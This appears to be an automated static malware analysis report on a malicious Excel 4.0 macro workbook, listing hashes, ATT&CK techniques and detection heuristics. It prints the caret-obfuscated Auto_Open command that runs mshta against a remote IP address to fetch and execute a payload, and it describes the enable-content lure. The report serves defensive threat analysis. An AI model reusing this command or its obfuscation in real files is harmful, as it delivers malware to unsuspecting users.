Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c94962da6d42ceec…

MALICIOUS

Office (OLE) / .XLS

62.7 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: f3f56dd14a24c13ef671bb63ca02df90 SHA-1: 6b5775d9ac422c164e6952a9b5ea4230ad77f64f SHA-256: c94962da6d42ceec80299878801e7b5e130ee8012a381be58b0b70f9dfbe574d
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c msh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which downloads a file from the specified URL. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware. The XLM macro also defines 'SSDGO' with a similar command pointing to 'aa.html', suggesting a secondary download target or variant.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes